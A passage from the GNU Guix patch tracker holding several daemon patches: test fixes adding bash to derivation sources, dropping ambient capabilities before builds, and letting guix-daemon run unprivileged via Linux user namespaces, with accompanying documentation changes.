Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

These missing inputs go unnoticed when running ‘guix-daemon
--disable-chroot’ but are immediately visible otherwise.

* tests/derivations.scm ("fixed-output derivation"): Add %BASH to #:sources.
("fixed-output derivation: output paths are equal"):
("fixed-output derivation, recursive"):
("derivation with a fixed-output input"):
("derivation with duplicate fixed-output inputs"):
("derivation with equivalent fixed-output inputs"):
("build derivation with coreutils"): Likewise.
* tests/packages.scm (bootstrap-binary): New procedure.
("package-source-derivation, origin, sha512"): Use it instead of
‘search-bootstrap-binary’ and add BASH to #:sources.
("package-source-derivation, origin, sha3-512"): Likewise.

Change-Id: I4c9087df23c47729a3aff15e9e1435b7266e36e2
---
 tests/derivations.scm | 24 +++++++++++++++---------
 tests/packages.scm    | 13 +++++++++----
 2 files changed, 24 insertions(+), 13 deletions(-)

diff --git a/tests/derivations.scm b/tests/derivations.scm
index 72ea9aa9cc..f30f05474e 100644
--- a/tests/derivations.scm
+++ b/tests/derivations.scm
@@ -1,5 +1,5 @@
 ;;; GNU Guix --- Functional package management for GNU
-;;; Copyright © 2012-2024 Ludovic Courtès <ludo@HIDDEN>
+;;; Copyright © 2012-2025 Ludovic Courtès <ludo@HIDDEN>
 ;;;
 ;;; This file is part of GNU Guix.
 ;;;
@@ -443,7 +443,7 @@ (define* (directory-contents dir #:optional (slurp get-bytevector-all))
                                      (string-append
                                       "fixed-" (symbol->string hash-algorithm))
                                      %bash `(,builder)
-                                     #:sources `(,builder) ;optional
+                                     #:sources (list %bash builder)
                                      #:hash hash
                                      #:hash-algo hash-algorithm)))
            (build-derivations %store (list drv))
@@ -462,9 +462,11 @@ (define* (directory-contents dir #:optional (slurp get-bytevector-all))
          (hash       (gcrypt:sha256 (string->utf8 "hello")))
          (drv1       (derivation %store "fixed"
                                  %bash `(,builder1)
+                                 #:sources (list %bash builder1)
                                  #:hash hash #:hash-algo 'sha256))
          (drv2       (derivation %store "fixed"
                                  %bash `(,builder2)
+                                 #:sources (list %bash builder2)
                                  #:hash hash #:hash-algo 'sha256))
          (succeeded? (build-derivations %store (list drv1 drv2))))
     (and succeeded?
@@ -477,7 +479,7 @@ (define* (directory-contents dir #:optional (slurp get-bytevector-all))
          (hash       (gcrypt:sha256 (string->utf8 "hello")))
          (drv        (derivation %store "fixed-rec"
                                  %bash `(,builder)
-                                 #:sources (list builder)
+                                 #:sources (list %bash builder)
                                  #:hash (base32 "0sg9f58l1jj88w6pdrfdpj5x9b1zrwszk84j81zvby36q9whhhqa")
                                  #:hash-algo 'sha256
                                  #:recursive? #t))
@@ -511,9 +513,11 @@ (define* (directory-contents dir #:optional (slurp get-bytevector-all))
          (hash       (gcrypt:sha256 (string->utf8 "hello")))
          (fixed1     (derivation %store "fixed"
                                  %bash `(,builder1)
+                                 #:sources (list %bash builder1)
                                  #:hash hash #:hash-algo 'sha256))
          (fixed2     (derivation %store "fixed"
                                  %bash `(,builder2)
+                                 #:sources (list %bash builder2)
                                  #:hash hash #:hash-algo 'sha256))
          (fixed-out  (derivation->output-path fixed1))
          (builder3   (add-text-to-store
@@ -548,9 +552,11 @@ (define* (directory-contents dir #:optional (slurp get-bytevector-all))
          (hash       (gcrypt:sha256 (string->utf8 "hello")))
          (fixed1     (derivation %store "fixed"
                                  %bash `(,builder1)
+                                 #:sources (list %bash builder1)
                                  #:hash hash #:hash-algo 'sha256))
          (fixed2     (derivation %store "fixed"
                                  %bash `(,builder2)
+                                 #:sources (list %bash builder2)
                                  #:hash hash #:hash-algo 'sha256))
          (builder3   (add-text-to-store %store "builder.sh"
                                         "echo fake builder"))
@@ -580,21 +586,21 @@ (define* (directory-contents dir #:optional (slurp get-bytevector-all))
                                       '()))
          (hash     (gcrypt:sha256 (string->utf8 "hello")))
          (drv1     (derivation %store "fixed" %bash (list builder1)
-                               #:sources (list builder1)
+                               #:sources (list %bash builder1)
                                #:hash hash #:hash-algo 'sha256))
          (drv2     (derivation %store "fixed" %bash (list builder2)
-                               #:sources (list builder2)
+                               #:sources (list %bash builder2)
                                #:hash hash #:hash-algo 'sha256))
          (drv3a    (derivation %store "fixed-user" %bash (list builder3)
                                #:outputs '("one" "two")
-                               #:sources (list builder3)
+                               #:sources (list %bash builder3)
                                #:inputs (list (derivation-input drv1))))
          (drv3b    (derivation %store "fixed-user" %bash (list builder3)
                                #:outputs '("one" "two")
-                               #:sources (list builder3)
+                               #:sources (list %bash builder3)
                                #:inputs (list (derivation-input drv2))))
          (drv4     (derivation %store "fixed-user-user" %bash (list builder1)
-                               #:sources (list builder1)
+                               #:sources (list %bash builder1)
                                #:inputs (list (derivation-input drv3a '("one"))
                                               (derivation-input drv3b '("two"))))))
     (match (derivation-inputs drv4)
@@ -878,7 +884,7 @@ (define %coreutils
                                     ,(string-append
                                       (derivation->output-path %coreutils)
                                       "/bin")))
-                      #:sources (list builder)
+                      #:sources (list %bash builder)
                       #:inputs (list (derivation-input %coreutils))))
          (succeeded?
           (build-derivations %store (list drv))))
diff --git a/tests/packages.scm b/tests/packages.scm
index 50c1cab915..f56c63128d 100644
--- a/tests/packages.scm
+++ b/tests/packages.scm
@@ -80,6 +80,11 @@ (define %store
 ;; When grafting, do not add dependency on 'glibc-utf8-locales'.
 (%graft-with-utf8-locale? #f)
 
+(define (bootstrap-binary name)
+  (let ((bin (search-bootstrap-binary name (%current-system))))
+    (and %store
+         (add-to-store %store name #t "sha256" bin))))
+
 
 (test-begin "packages")
 
@@ -609,14 +614,14 @@ (define %store
 
 (test-equal "package-source-derivation, origin, sha512"
   "hello"
-  (let* ((bash    (search-bootstrap-binary "bash" (%current-system)))
+  (let* ((bash    (bootstrap-binary "bash"))
          (builder (add-text-to-store %store "my-fixed-builder.sh"
                                      "echo -n hello > $out" '()))
          (method  (lambda* (url hash-algo hash #:optional name
                                 #:rest rest)
                     (and (eq? hash-algo 'sha512)
                          (raw-derivation name bash (list builder)
-                                         #:sources (list builder)
+                                         #:sources (list bash builder)
                                          #:hash hash
                                          #:hash-algo hash-algo))))
          (source  (origin
@@ -635,14 +640,14 @@ (define %store
 
 (test-equal "package-source-derivation, origin, sha3-512"
   "hello, sha3"
-  (let* ((bash    (search-bootstrap-binary "bash" (%current-system)))
+  (let* ((bash    (bootstrap-binary "bash"))
          (builder (add-text-to-store %store "my-fixed-builder.sh"
                                      "echo -n hello, sha3 > $out" '()))
          (method  (lambda* (url hash-algo hash #:optional name
                                 #:rest rest)
                     (and (eq? hash-algo 'sha3-512)
                          (raw-derivation name bash (list builder)
-                                         #:sources (list builder)
+                                         #:sources (list bash builder)
                                          #:hash hash
                                          #:hash-algo hash-algo))))
          (source  (origin
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 14 Mar 2025 17:50:15 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Mar 14 13:50:15 2025
Received: from localhost ([127.0.0.1]:36046 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tt9Ak-0004Uu-Cq
	for submit <at> debbugs.gnu.org; Fri, 14 Mar 2025 13:50:15 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:34836)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tt9AT-0004PX-1R
 for 75810 <at> debbugs.gnu.org; Fri, 14 Mar 2025 13:49:57 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tt9AM-0001z4-Ak; Fri, 14 Mar 2025 13:49:50 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=3+xXW3NEhqCdaNvzOdWk4oL/UxHf2EzI+PwkPo6SGtE=; b=eQxUXS67BLShE3pn4tPG
 DEVTyJnPN/cg6vA+vqhbiB/t9KFiHqD1HFjPMJCoeOglfNMBErniN4mjd92C3DenRimjEPhnEq4Pu
 WHRK78gtKZYGtlwKLgvOK6Gnm4RLswZjv2bUn+bQIy5/0ER04PXNtqOoMoxarWR40Mae+ohudbAId
 ORvDh4buu1s0AEEAWHyGBS0iLHemw0w37Zkqy9+TsGvE7t18bkGIzScGZl00bkCSaEsJ0n/Y5Ton9
 kTWqQQvZV4I6GxuvUw+xpYmRDLvthpWY+rCRJRv4Gx6Zkto7A0W6F7N9SoUCmWH8nuU6RrmGgq7xQ
 6cCiqs2Iw0NMSQ==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v5 09/14] daemon: Move comments where they belong.
Date: Fri, 14 Mar 2025 18:48:06 +0100
Message-ID: <86a4ed49616acee6bf2767470f76d459000f4ca3.1741973869.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1741973869.git.ludo@HIDDEN>
References: <cover.1741973869.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* nix/libstore/build.cc (DerivationGoal::startBuilder): Shuffle
comments for clarity.

Change-Id: I6557c103ade4a3ab046354548ea193c68f8c9c05
---
 nix/libstore/build.cc | 13 +++++++------
 1 file changed, 7 insertions(+), 6 deletions(-)

diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index 07c8ad7e1d..37c3d3bf1e 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -1870,18 +1870,19 @@ void DerivationGoal::startBuilder()
         }
         dirsInChroot[tmpDirInSandbox] = tmpDir;
 
-        /* Make the closure of the inputs available in the chroot,
-           rather than the whole store.  This prevents any access
-           to undeclared dependencies.  !!! As an extra security
-           precaution, make the fake store only writable by the
-           build user. */
+	/* Create the fake store.  */
         Path chrootStoreDir = chrootRootDir + settings.nixStore;
         createDirs(chrootStoreDir);
         chmod_(chrootStoreDir, 01775);
 
         if (buildUser.enabled() && chown(chrootStoreDir.c_str(), 0, buildUser.getGID()) == -1)
-            throw SysError(format("cannot change ownership of ‘%1%’") % chrootStoreDir);
+	     /* As an extra security precaution, make the fake store only
+		writable by the build user.  */
+	     throw SysError(format("cannot change ownership of ‘%1%’") % chrootStoreDir);
 
+        /* Make the closure of the inputs available in the chroot, rather than
+           the whole store.  This prevents any access to undeclared
+           dependencies. */
         foreach (PathSet::iterator, i, inputPaths) {
 	    struct stat st;
             if (lstat(i->c_str(), &st))
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 14 Mar 2025 17:50:14 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Mar 14 13:50:14 2025
Received: from localhost ([127.0.0.1]:36044 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tt9Ag-0004Sb-Ht
	for submit <at> debbugs.gnu.org; Fri, 14 Mar 2025 13:50:14 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:56592)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tt9AQ-0004P7-Cg
 for 75810 <at> debbugs.gnu.org; Fri, 14 Mar 2025 13:49:54 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tt9AJ-0001yq-V7; Fri, 14 Mar 2025 13:49:47 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=Cia5Ikq0N0EGZSt4F8nK8osBdkduR1atUQLZPx04ask=; b=HRaBMHV0iiIa9FDeD6uz
 feXGaDPSdtzUuvOOWe7OsYKfs4SS4AlSdt3Uk7kLkxLQFbahUVO3o4bzMcrHufrYgDowVckhd60Ib
 Ti6Vo8P885KuiDit42s4B0RTxTrjHE4hygDnfYslsvChKWt0e2AAwMtJKJ0+Jy/x279Fa1d+ClgWL
 kPE7+4d1rEo6RQRfw0UUZEvkcHEELp+xN0CkzhswSjx8ToauR5R2801z2iKmIzl9tty4w7ythZcAX
 DaxHBBpnmBNRKMHDBiUfbgFuaqEwPFPDihS6/XL+Kmv7c2An/vfgejZMvL3MnV9h76PO7Hn/xlhTI
 R8qzgZAgSf5/yA==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v5 08/14] daemon: Drop Linux ambient capabilities before
 executing builder.
Date: Fri, 14 Mar 2025 18:48:05 +0100
Message-ID: <579aae1bcbba126fb7a779ca53d3877b70bd110e.1741973869.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1741973869.git.ludo@HIDDEN>
References: <cover.1741973869.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* config-daemon.ac: Check for <sys/prctl.h>.
* nix/libstore/build.cc (DerivationGoal::runChild): When ‘useChroot’ is
true, call ‘prctl’ to drop all ambient capabilities.

Change-Id: If34637fc508e5fb6d278167f5df7802fc595284f
---
 config-daemon.ac      | 2 +-
 nix/libstore/build.cc | 9 +++++++++
 2 files changed, 10 insertions(+), 1 deletion(-)

diff --git a/config-daemon.ac b/config-daemon.ac
index 4e949bc88a..35d9c8cd56 100644
--- a/config-daemon.ac
+++ b/config-daemon.ac
@@ -79,7 +79,7 @@ if test "x$guix_build_daemon" = "xyes"; then
   dnl Chroot support.
   AC_CHECK_FUNCS([chroot unshare])
   AC_CHECK_HEADERS([sched.h sys/param.h sys/mount.h sys/syscall.h \
-    linux/close_range.h])
+    linux/close_range.h sys/prctl.h])
 
   if test "x$ac_cv_func_chroot" != "xyes"; then
     AC_MSG_ERROR(['chroot' function missing, bailing out])
diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index 76f75e00df..07c8ad7e1d 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -50,6 +50,9 @@
 #if HAVE_SCHED_H
 #include <sched.h>
 #endif
+#if HAVE_SYS_PRCTL_H
+#include <sys/prctl.h>
+#endif
 
 
 #define CHROOT_ENABLED HAVE_CHROOT && HAVE_SYS_MOUNT_H && defined(MS_BIND) && defined(MS_PRIVATE)
@@ -2070,6 +2073,12 @@ void DerivationGoal::runChild()
 
 #if CHROOT_ENABLED
         if (useChroot) {
+# if HAVE_SYS_PRCTL_H
+	    /* Drop ambient capabilities such as CAP_CHOWN that might have
+	       been granted when starting guix-daemon.  */
+	    prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_CLEAR_ALL, 0, 0, 0);
+# endif
+
 	    if (!fixedOutput) {
 		/* Initialise the loopback interface. */
 		AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP));
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 14 Mar 2025 17:50:10 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Mar 14 13:50:10 2025
Received: from localhost ([127.0.0.1]:36040 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tt9Ad-0004S2-Nx
	for submit <at> debbugs.gnu.org; Fri, 14 Mar 2025 13:50:10 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:56590)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tt9AO-0004Ov-Fa
 for 75810 <at> debbugs.gnu.org; Fri, 14 Mar 2025 13:49:54 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tt9AH-0001yY-C1; Fri, 14 Mar 2025 13:49:45 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=BCS7CA2n9xDeHpz/nXwjL/1CgpmeOGUI+SjqwJ9Ij+I=; b=iNxwzNh2ZW6bL6wf2ayG
 Zvm7pwg7u18RaY8It9WhZIFyq1n+SeeZja5IfXAksKOqWVckK0Soyg6QF3KGcvBBDyYZYoxqbs/Rv
 A2vQtmTJV8IGiNocNCytZhapU7I/wQBs0SaJHiXHQuYrXTls0YorninYjGSAlh7RYft1wSvf3pfyd
 JOIC4YO41c0s991rFEglPxCsp2j0tlpQI7JOSLpHMFEtpiupD6VUn0IXk72aczRlG02q9EJ5i5fPE
 4xliVRKXJ2ytXtf9LJ/6eLCZRBKSSCngV4/CeGXlmOOJwKdlg2o6iBMCwYOY1Puuzc69rOq+c0iIl
 6ogSGGGpGd+XsA==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v5 06/14] daemon: Allow running as non-root with unprivileged
 user namespaces.
Date: Fri, 14 Mar 2025 18:48:03 +0100
Message-ID: <067fd1219aa1b4354c0a321dc7e2a7d414eabf1b.1741973869.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1741973869.git.ludo@HIDDEN>
References: <cover.1741973869.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Debbugs-Cc: Christopher Baines <guix@HIDDEN>, Josselin Poiret <dev@HIDDEN>, Ludovic Courtès <ludo@HIDDEN>, Mathieu Othacehe <othacehe@HIDDEN>, Maxim Cournoyer <maxim.cournoyer@HIDDEN>, Simon Tournier <zimon.toutoune@HIDDEN>, Tobias Geerinckx-Rice <me@HIDDEN>
Content-Transfer-Encoding: 8bit
X-Spam-Score: -1.8 (-)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludovic.courtes@HIDDEN>,
 Reepca Russelstein <reepca@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -2.8 (--)

From: Ludovic Courtès <ludovic.courtes@HIDDEN>

Many thanks to Reepca Russelstein for their review and guidance on these
changes.

* nix/libstore/build.cc (guestUID, guestGID): New variables.
(DerivationGoal)[readiness]: New field.
(initializeUserNamespace): New function.
(DerivationGoal::runChild): When ‘readiness.readSide’ is positive, read
from it.
(DerivationGoal::startBuilder): Call ‘chown’
only when ‘buildUser.enabled()’ is true.  Pass CLONE_NEWUSER to ‘clone’
when ‘buildUser.enabled()’ is false or not running as root.  Retry
‘clone’ without CLONE_NEWUSER upon EPERM.
(DerivationGoal::registerOutputs): Make ‘actualPath’ writable before
‘rename’.
(DerivationGoal::deleteTmpDir): Catch ‘SysError’ around ‘_chown’ call.
* nix/libstore/local-store.cc (LocalStore::createUser): Do nothing if
‘dirs’ already exists.  Warn instead of failing when failing to chown
‘dir’.
* guix/substitutes.scm (%narinfo-cache-directory): Check for
‘_NIX_OPTIONS’ rather than getuid() == 0 to determine the cache
location.
* doc/guix.texi (Build Environment Setup): Reorganize a bit.  Add
section headings “Daemon Running as Root” and “The Isolated Build
Environment”.  Add “Daemon Running Without Privileges” subsection.
Remove paragraph about ‘--disable-chroot’.
(Invoking guix-daemon): Warn against ‘--disable-chroot’ and explain why.

Reviewed-by: Reepca Russelstein <reepca@HIDDEN>
---
 doc/guix.texi               | 102 +++++++++++++++++------
 guix/substitutes.scm        |   2 +-
 nix/libstore/build.cc       | 156 +++++++++++++++++++++++++++++++-----
 nix/libstore/local-store.cc |  18 +++--
 4 files changed, 225 insertions(+), 53 deletions(-)

diff --git a/doc/guix.texi b/doc/guix.texi
index d109877a32..66d0e42112 100644
--- a/doc/guix.texi
+++ b/doc/guix.texi
@@ -877,6 +877,7 @@ Setting Up the Daemon
 @section Setting Up the Daemon
 
 @cindex daemon
+@cindex build daemon
 During installation, the @dfn{build daemon} that must be running
 to use Guix has already been set up and you can run @command{guix}
 commands in your terminal program, @pxref{Getting Started}:
@@ -921,20 +922,38 @@ Build Environment Setup
 @cindex build environment
 In a standard multi-user setup, Guix and its daemon---the
 @command{guix-daemon} program---are installed by the system
-administrator; @file{/gnu/store} is owned by @code{root} and
-@command{guix-daemon} runs as @code{root}.  Unprivileged users may use
-Guix tools to build packages or otherwise access the store, and the
-daemon will do it on their behalf, ensuring that the store is kept in a
-consistent state, and allowing built packages to be shared among users.
+administrator.  Unprivileged users may use Guix tools to build packages
+or otherwise access the store, and the daemon will do it on their
+behalf, ensuring that the store is kept in a consistent state, and
+allowing built packages to be shared among users.
+
+There are currently two ways to set up and run the build daemon:
+
+@enumerate
+@item
+running @command{guix-daemon} as ``root'', letting it run build
+processes as unprivileged users taken from a pool of build users---this
+is the historical approach;
+
+@item
+running @command{guix-daemon} as a separate unprivileged user, relying
+on Linux's @dfn{unprivileged user namespace} functionality to set up
+isolated environments---this is the option chosen when installing Guix
+on a systemd-based distribution with the installation script
+(@pxref{Binary Installation}).
+@end enumerate
+
+The sections below describe each of these two configurations in more
+detail and summarize the kind of build isolation they provide.
+
+@unnumberedsubsubsec Daemon Running as Root
 
 @cindex build users
 When @command{guix-daemon} runs as @code{root}, you may not want package
 build processes themselves to run as @code{root} too, for obvious
 security reasons.  To avoid that, a special pool of @dfn{build users}
 should be created for use by build processes started by the daemon.
-These build users need not have a shell and a home directory: they will
-just be used when the daemon drops @code{root} privileges in build
-processes.  Having several such users allows the daemon to launch
+Having several such users allows the daemon to launch
 distinct build processes under separate UIDs, which guarantees that they
 do not interfere with each other---an essential feature since builds are
 regarded as pure functions (@pxref{Introduction}).
@@ -977,11 +996,45 @@ Build Environment Setup
 # guix-daemon --build-users-group=guixbuild
 @end example
 
+In this setup, @file{/gnu/store} is owned by @code{root}.
+
+@unnumberedsubsubsec Daemon Running Without Privileges
+
+@cindex rootless build daemon
+@cindex unprivileged build daemon
+@cindex build daemon, unprivileged
+The second and preferred option is to run @command{guix-daemon}
+@emph{as an unprivileged user}.  It has the advantage of reducing the
+harm that can be done should a build process manage to exploit a
+vulnerability in the daemon.  This option requires the user of Linux's
+unprivileged user namespace mechanism; today it is available and enabled
+by most GNU/Linux distributions but can still be disabled.  The
+installation script automatically determines whether this option is
+available on your system (@pxref{Binary Installation}).
+
+When using this option, you only need to create one user account, and
+@command{guix-daemon} will run with the authority of that account:
+
+@example
+# groupadd --system guix-daemon
+# useradd -g guix-daemon -G guix-daemon              \
+          -d /var/empty -s $(which nologin)          \
+          -c "Guix daemon privilege separation user" \
+          --system guix-daemon
+@end example
+
+In this configuration, @file{/gnu/store} is owned by the
+@code{guix-daemon} user.
+
+@unnumberedsubsubsec The Isolated Build Environment
+
 @cindex chroot
-@noindent
-This way, the daemon starts build processes in a chroot, under one of
-the @code{guixbuilder} users.  On GNU/Linux, by default, the chroot
-environment contains nothing but:
+@cindex build environment isolation
+@cindex isolated build environment
+@cindex hermetic build environment
+In both cases, the daemon starts build processes without privileges in
+an @emph{isolated} or @emph{hermetic} build environment---a ``chroot''.
+On GNU/Linux, by default, the build environment contains nothing but:
 
 @c Keep this list in sync with libstore/build.cc! -----------------------
 @itemize
@@ -1015,7 +1068,7 @@ Build Environment Setup
 @file{/homeless-shelter}.  This helps to highlight inappropriate uses of
 @env{HOME} in the build scripts of packages.
 
-All this usually enough to ensure details of the environment do not
+All this is usually enough to ensure details of the environment do not
 influence build processes.  In some exceptional cases where more control
 is needed---typically over the date, kernel, or CPU---you can resort to
 a virtual build machine (@pxref{build-vm, virtual build machines}).
@@ -1035,14 +1088,6 @@ Build Environment Setup
 for fixed-output derivations (@pxref{Derivations}) or for substitutes
 (@pxref{Substitutes}).
 
-If you are installing Guix as an unprivileged user, it is still possible
-to run @command{guix-daemon} provided you pass @option{--disable-chroot}.
-However, build processes will not be isolated from one another, and not
-from the rest of the system.  Thus, build processes may interfere with
-each other, and may access programs, libraries, and other files
-available on the system---making it much harder to view them as
-@emph{pure} functions.
-
 
 @node Daemon Offload Setup
 @subsection Using the Offload Facility
@@ -1567,10 +1612,17 @@ Invoking guix-daemon
 @item --disable-chroot
 Disable chroot builds.
 
-Using this option is not recommended since, again, it would allow build
-processes to gain access to undeclared dependencies.  It is necessary,
-though, when @command{guix-daemon} is running under an unprivileged user
-account.
+@quotation Warning
+Using this option is not recommended since it allows build processes to
+gain access to undeclared dependencies, to interfere with one another,
+and more generally to do anything that can be done with the authority of
+the daemon---which includes at least the ability to tamper with any file
+in the store!
+
+You may find it necessary, though, when support for Linux unprivileged
+user namespaces is missing (@pxref{Build Environment Setup}).  Use at
+your own risk!
+@end quotation
 
 @item --log-compression=@var{type}
 Compress build logs according to @var{type}, one of @code{gzip},
diff --git a/guix/substitutes.scm b/guix/substitutes.scm
index 7ca55788d5..86b9f5472a 100644
--- a/guix/substitutes.scm
+++ b/guix/substitutes.scm
@@ -79,7 +79,7 @@ (define %narinfo-cache-directory
   ;; time, 'guix substitute' is called by guix-daemon as root and stores its
   ;; cached data in /var/guix/….  However, when invoked from 'guix challenge'
   ;; as a user, it stores its cache in ~/.cache.
-  (if (zero? (getuid))
+  (if (getenv "_NIX_OPTIONS")                     ;invoked by guix-daemon
       (or (and=> (getenv "XDG_CACHE_HOME")
                  (cut string-append <> "/guix/substitute"))
           (string-append %state-directory "/substitute/cache"))
diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index c8b778362a..76f75e00df 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
